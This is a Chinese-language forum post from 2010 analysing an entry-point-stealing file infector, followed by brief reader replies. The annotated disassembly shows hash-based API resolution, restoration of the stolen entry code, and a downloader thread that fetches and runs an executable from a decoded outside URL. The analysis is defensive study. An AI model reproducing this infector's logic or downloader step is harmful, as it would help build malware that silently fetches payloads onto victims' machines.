简单抽入口点代码的感染型病毒
本帖最后由 fzyr520 于 2010-8-21 17:26 编辑前段时间看的一个抽入口点代码的病毒,这个比较简单,新手看看,老鸟就飞吧!分析比较仓促,如有不对请指正!
解压密码 :123
1.首先是拿kernel32的地址,接着是获取一些API地址;
.text:00405AA1 push ebp
.text:00405AA2 mov ebp, esp
.text:00405AA4 sub esp, 20h
.text:00405AA7 push ebx
.text:00405AA8 push esi
.text:00405AA9 push edi
.text:00405AAA call GetKernel ; 拿kernel32的地址
.text:00405AAF mov esi, eax
.text:00405AB1 push 0A412FD89h
.text:00405AB6 push esi
.text:00405AB7 mov , esi
.text:00405ABA call GetApi ; Get LoadLibrary
.text:00405ABF push 2D6D019h
.text:00405AC4 push esi
.text:00405AC5 mov edi, eax
.text:00405AC7 call GetApi ; kernel32.LocalAlloc
.text:00405AC7 ;
2.病毒新分配了一块内存干活,所以前面的代码没什么可看的,我们直接调到他新开的一块内存
.text:00405BB9 mov eax,
.text:00405BBC pop edi
.text:00405BBD pop esi
.text:00405BBE pop ebx
.text:00405BBF mov esp, ebp
.text:00405BC1 pop ebp
.text:00405BC2 push ecx
.text:00405BC3 call eax ; 此处执行分配内存的那段代码,
.text:00405BC3 ; 我已经从内存dump出来了。
3.接着看dump的,还是先拿kernel32的地址
seg000:00156018 push ebp
seg000:00156019 mov ebp, esp
seg000:0015601B sub esp, 1B0h
seg000:00156021 push ebx
seg000:00156022 push esi
seg000:00156023 push edi
seg000:00156024 call sub_155FA8
seg000:00156029 mov , eax
seg000:0015602F lea eax,
seg000:00156035 mov , eax
seg000:0015603B mov dword ptr , 0A412FD89h
seg000:00156045 lea ecx,
seg000:0015604B mov , ecx
seg000:00156051 mov dword ptr , 60F43F1Bh
seg000:0015605B lea edx,
seg000:00156061 mov , edx
seg000:00156067 mov dword ptr , 38C62A7Ah
seg000:00156071 lea eax,
seg000:00156077 mov , eax
seg000:0015607D mov dword ptr , 9554EFE7h
seg000:00156087 lea ecx,
seg000:0015608D mov , ecx
seg000:00156093 mov dword ptr , 0A9D1FD70h
seg000:0015609D lea edx,
seg000:001560A3 mov , edx
seg000:001560A9 mov dword ptr , 0BE25545h
seg000:001560B3 lea eax,
seg000:001560B6 mov , eax
seg000:001560BC mov dword ptr , 2D6D019h
seg000:001560C6 lea ecx,
seg000:001560CC mov , ecx
seg000:001560D2 mov dword ptr , 0C5FF2F46h
seg000:001560DC lea edx,
seg000:001560DF mov , edx
seg000:001560E5 mov dword ptr , 0C0D6D616h
seg000:001560EF lea eax,
seg000:001560F5 mov , eax
seg000:001560FB mov dword ptr , 405AD3CDh
seg000:00156105 lea ecx,
seg000:0015610B mov , ecx
seg000:00156111 mov dword ptr , 0C6387EB5h
seg000:0015611B call GetKernel32Address ; 获取kernel32的地址
4.拿到了kernel32的地址接着就拿api了,一共11个;
seg000:0015613E loc_15613E: ; CODE XREF: seg000:0015612Dj
seg000:0015613E cmp dword ptr , 0Bh
seg000:00156145 jnb short loc_156177
seg000:00156147 nop
seg000:00156148 nop
seg000:00156149 nop
seg000:0015614A nop
seg000:0015614B nop
seg000:0015614C nop
seg000:0015614D nop
seg000:0015614E nop
seg000:0015614F mov eax,
seg000:00156155 mov ecx,
seg000:0015615C push ecx
seg000:0015615D mov edx,
seg000:00156160 push edx
seg000:00156161 call GetApi ; fun(address,libname) 获取api
seg000:00156161 ; LoadLibraryA
seg000:00156161 ; GetModuleFileNameA
seg000:00156161 ; GreateFileA
seg000:00156161 ; GetFileSize
seg000:00156161 ; SetFilePointer
seg000:00156161 ; ReadFile
seg000:00156161 ; LocalAlloc
seg000:00156161 ; VirtualProtect
seg000:00156161 ; CloseHandle
seg000:00156161 ; LocalFree
seg000:00156161 ; CreateThread
5.现在开始恢复入口点代码
seg000:00156177 loc_156177: ; CODE XREF: seg000:00156145j
seg000:00156177 push 104h
seg000:0015617C lea eax,
seg000:00156182 push eax
seg000:00156183 push 0
seg000:00156185 call dword ptr ; GetModuleFileNameA
seg000:0015618B push 0
seg000:0015618D push 0
seg000:0015618F push 4 ; OPEN_ALWAYS
seg000:00156191 push 0
seg000:00156193 push 1
seg000:00156195 push 80000000h
seg000:0015619A lea ecx,
seg000:001561A0 push ecx
seg000:001561A1 call dword ptr ; CreateFileA 打开文件
seg000:001561A7 mov , eax
seg000:001561AD mov edx, 1000ACD0h
seg000:001561B2 sub edx, 1000A590h
seg000:001561B8 add edx, 218h
seg000:001561BE mov , edx
seg000:001561C4 lea eax,
seg000:001561CA push eax
seg000:001561CB mov ecx,
seg000:001561D1 push ecx
seg000:001561D2 call dword ptr ; GetFileSize 获取文件大小
seg000:001561D8 mov , eax
seg000:001561DB push 2
seg000:001561DD push 0
seg000:001561DF mov edx, 1000ACD0h
seg000:001561E4 sub edx, 1000A590h
seg000:001561EA add edx, 218h
seg000:001561F0 neg edx
seg000:001561F2 push edx
seg000:001561F3 mov eax,
seg000:001561F9 push eax
seg000:001561FA call dword ptr ; SetFilePointer 把指针移动到文件尾部
seg000:001561FA ; 实际是上要取附加数据,
seg000:001561FA ; 正常入口点的代码被抽到附加数据了
seg000:00156200 mov ecx, 1000ACD0h
seg000:00156205 sub ecx, 1000A590h
seg000:0015620B add ecx, 218h ; 740 + 218 =958 这个是附加数据大小分为三部分
seg000:0015620B ; 1.正常程序入口点代码740
seg000:0015620B ; 2.加密网址104
seg000:0015620B ; 3.名称114
seg000:00156211 push ecx
seg000:00156212 push 40h ; '@'
seg000:00156214 call dword ptr ; LocalAlloc
seg000:00156217 mov , eax
seg000:0015621D push 0
seg000:0015621F lea edx,
seg000:00156225 push edx
seg000:00156226 mov eax,
seg000:0015622C push eax
seg000:0015622D mov ecx,
seg000:00156233 push ecx ; ecx=00156510
seg000:00156233 ;
seg000:00156234 mov edx,
seg000:0015623A push edx
seg000:0015623B call dword ptr ; ReadFile
seg000:00156241 lea eax,
seg000:00156247 push eax
seg000:00156248 push 40h ; '@' ; PAGE_EXECUTE_READWRITE
seg000:0015624A mov ecx, 1000ACD0h
seg000:0015624F sub ecx, 1000A590h
seg000:00156255 push ecx ; 740
seg000:00156256 mov edx,
seg000:00156259 push edx ; ebp+8 入口点
seg000:00156259 ;
seg000:0015625A call dword ptr ; kernel32.VirtualProtect
seg000:00156260 mov ecx, 1000ACD0h
seg000:00156265 sub ecx, 1000A590h
seg000:0015626B mov esi, ; 读出来的附加数据
seg000:00156271 mov edi, ; 入口点edi
seg000:00156274 mov eax, ecx
seg000:00156276 shr ecx, 2
seg000:00156279 rep movsd ; 把正常入口点代码拷回入口点
seg000:0015627B mov ecx, eax
seg000:0015627D and ecx, 3
seg000:00156280 rep movsb
seg000:00156282 mov ecx,
seg000:00156288 push ecx
seg000:00156289 call dword ptr ; kernel32.CloseHandle
6.在创建一个线程干坏事
seg000:001562A1 push 0
seg000:001562A3 push 0
seg000:001562A5 mov eax,
seg000:001562A8 push eax
seg000:001562A9 mov ecx, 1000AAA0h
seg000:001562AE add ecx,
seg000:001562B4 push ecx
seg000:001562B5 push 0
seg000:001562B7 push 0
seg000:001562B9 call dword ptr ; CreateThread
7.线程代码如下,就是个下载者。
seg000:001562D8 push ebp
seg000:001562D9 mov ebp, esp
seg000:001562DB sub esp, 348h
seg000:001562E1 push ebx
seg000:001562E2 push esi
seg000:001562E3 push edi
seg000:001562E4 call sub_155FA8
seg000:001562E9 mov edi,
seg000:001562EC push 104h
seg000:001562F1 push edi
seg000:001562F2 call decode ; 解密网址 http://www.andygo.name:808/conew.exe
seg000:001562F7 add edi, 114h
seg000:001562FD push 104h
seg000:00156302 push edi
seg000:00156303 call decode ; brpcss.dll
seg000:00156308 add esp, 10h
seg000:0015630B call GetKernel32Address
seg000:00156310 mov ebx, eax
seg000:00156312 push 0A412FD89h
seg000:00156317 push ebx
seg000:00156318 call GetApi
seg000:0015631D mov , eax; LoadLibarayA
seg000:0015631D ;
seg000:00156320 nop
seg000:00156321 nop
seg000:00156322 mov byte ptr , 73h ; 's'
seg000:00156326 mov byte ptr , 68h ; 'h'
seg000:0015632A mov byte ptr , 6Ch ; 'l'
seg000:0015632E mov byte ptr , 77h ; 'w'
seg000:00156332 mov byte ptr , 0
seg000:00156336 mov byte ptr , 0
seg000:0015633A mov byte ptr , 69h ; 'i'
seg000:0015633E mov byte ptr , 2Eh ; '.'
seg000:00156342 mov byte ptr , 64h ; 'd'
seg000:00156346 mov byte ptr , 6Ch ; 'l'
seg000:0015634A mov byte ptr , 6Ch ; 'l'
seg000:0015634E mov byte ptr , 0
seg000:00156352 nop
seg000:00156353 nop
seg000:00156354 lea ecx,
seg000:00156357 mov byte ptr , 61h ; 'a'
seg000:0015635B push ecx
seg000:0015635C mov byte ptr , 70h ; 'p'
seg000:00156360 call eax
seg000:00156362 push 0A98F1FDBh
seg000:00156367 push eax
seg000:00156368 call GetApi ; shlwapi.PathFileExistA
seg000:0015636D push 1475BB1Ah
seg000:00156372 push ebx
seg000:00156373 mov , eax
seg000:00156376 call GetApi ; Kernel32.GetSystemDirectoryA
seg000:0015637B lea edx,
seg000:0015637E mov esi, eax
seg000:00156380 push edx
seg000:00156381 mov byte ptr , 75h ; 'u'
seg000:00156385 mov byte ptr , 73h ; 's'
seg000:00156389 mov byte ptr , 65h ; 'e'
seg000:0015638D mov byte ptr , 72h ; 'r'
seg000:00156391 mov byte ptr , 33h ; '3'
seg000:00156395 mov byte ptr , 32h ; '2'
seg000:00156399 mov byte ptr , 2Eh ; '.'
seg000:0015639D mov byte ptr , 64h ; 'd'
seg000:001563A1 mov byte ptr , 6Ch ; 'l'
seg000:001563A5 mov byte ptr , 6Ch ; 'l'
seg000:001563A9 mov byte ptr , 0
seg000:001563AD call dword ptr ; LoadLibraryA
seg000:001563B0 push 789F5271h
seg000:001563B5 push eax
seg000:001563B6 call GetApi
seg000:001563BB mov , eax; user32.wsprintfA
seg000:001563BE lea eax,
seg000:001563C4 push 104h
seg000:001563C9 push eax
seg000:001563CA call esi ; GetSystemDirectoryA
seg000:001563CA ;
seg000:001563CC or ecx, 0FFFFFFFFh
seg000:001563CF xor eax, eax
seg000:001563D1 repne scasb
seg000:001563D3 not ecx
seg000:001563D5 sub edi, ecx
seg000:001563D7 lea edx,
seg000:001563DD mov esi, edi
seg000:001563DF mov edi, edx
seg000:001563E1 mov edx, ecx
seg000:001563E3 or ecx, 0FFFFFFFFh
seg000:001563E6 repne scasb
seg000:001563E8 dec edi
seg000:001563E9 mov ecx, edx
seg000:001563EB shr ecx, 2
seg000:001563EE rep movsd
seg000:001563F0 mov ecx, edx
seg000:001563F2 lea eax,
seg000:001563F8 and ecx, 3
seg000:001563FB push eax
seg000:001563FC rep movsb
seg000:001563FE call dword ptr ; shlwapi.PathFileExistsA
seg000:00156401 test eax, eax
seg000:00156403 jnz loc_1564FB
seg000:00156409 push 16EF74Bh
seg000:0015640E push ebx
seg000:0015640F mov byte ptr , 75h ; 'u'
seg000:00156413 mov byte ptr , 72h ; 'r'
seg000:00156417 mov byte ptr , 6Ch ; 'l'
seg000:0015641B mov byte ptr , 6Dh ; 'm'
seg000:0015641F mov byte ptr , 6Fh ; 'o'
seg000:00156423 mov byte ptr , 6Eh ; 'n'
seg000:00156427 mov byte ptr , 2Eh ; '.'
seg000:0015642B mov byte ptr , 64h ; 'd'
seg000:0015642F mov byte ptr , 6Ch ; 'l'
seg000:00156433 mov byte ptr , 6Ch ; 'l'
seg000:00156437 mov , al
seg000:0015643A call GetApi
seg000:0015643F mov edi, eax ; Kernel32.Winexec
seg000:00156441 mov eax, 16118A5Dh
seg000:00156446 mov , eax
seg000:0015644D lea ecx,
seg000:00156450 push ecx
seg000:00156451 call dword ptr ; LoadLibraryA
seg000:00156454 mov , eax
seg000:00156457 mov eax,
seg000:0015645E mov , eax
seg000:00156461 cmp dword ptr , 16118A5Dh
seg000:00156468 jz loc_1564FB
seg000:0015646E push 0B929DC95h
seg000:00156473 push ebx
seg000:00156474 call GetApi ; GetTempPath
seg000:00156479 mov edx,
seg000:0015647C push 16118A5Dh
seg000:00156481 push edx
seg000:00156482 mov esi, eax
seg000:00156484 call GetApi
seg000:00156489 mov ebx, eax ; URLDownLoadToFileA
seg000:0015648B lea eax,
seg000:00156491 push eax
seg000:00156492 push 104h
seg000:00156497 mov byte ptr , 25h ; '%'
seg000:0015649B mov byte ptr , 73h ; 's'
seg000:0015649F mov byte ptr , 7Eh ; '~'
seg000:001564A3 mov byte ptr , 31h ; '1'
seg000:001564A7 mov byte ptr , 39h ; '9'
seg000:001564AB mov byte ptr , 38h ; '8'
seg000:001564AF mov byte ptr , 2Eh ; '.'
seg000:001564B3 mov byte ptr , 65h ; 'e'
seg000:001564B7 mov byte ptr , 78h ; 'x'
seg000:001564BB mov byte ptr , 65h ; 'e'
seg000:001564BF mov byte ptr , 0
seg000:001564C3 call esi ; GetTempPath
seg000:001564C5 lea ecx,
seg000:001564CB lea edx,
seg000:001564CE push ecx
seg000:001564CF lea eax,
seg000:001564D5 push edx
seg000:001564D6 push eax
seg000:001564D7 call dword ptr ; user32.wsprintfA
seg000:001564DA mov edx, ; "http://www.andygo.name:808/conew.exe"
seg000:001564DD add esp, 0Ch
seg000:001564E0 lea ecx,
seg000:001564E6 push 0
seg000:001564E8 push 0
seg000:001564EA push ecx
seg000:001564EB push edx
seg000:001564EC push 0
seg000:001564EE call ebx ; urlmon.URLDownloadToFileA
seg000:001564F0 lea eax,
seg000:001564F6 push 5
seg000:001564F8 push eax
seg000:001564F9 call edi ; Winexec 执行病毒
8.执行完毕后再次跳回入口点执行程序,由于入口点代码已经恢复了,这次运行的是正常程序了
seg000:001562BF mov eax,
seg000:001562C2 pop edi
seg000:001562C3 pop esi
seg000:001562C4 pop ebx
seg000:001562C5 mov esp, ebp
seg000:001562C7 pop ebp
seg000:001562C8 add esp, 8
seg000:001562CB jmp eax ;执行正常程序
我是新手,但我看不明白啊 这时马子东西? 我也看不明白 膜拜一下楼主 :victory:很好。。这东西很厉害 看分析过程木马有点简单,只是个普通的下载者,加精鼓励,感谢分析! 看不明白 努力中 不错的病毒啊,楼主很强大 我的大金币啊
页:
[1]
2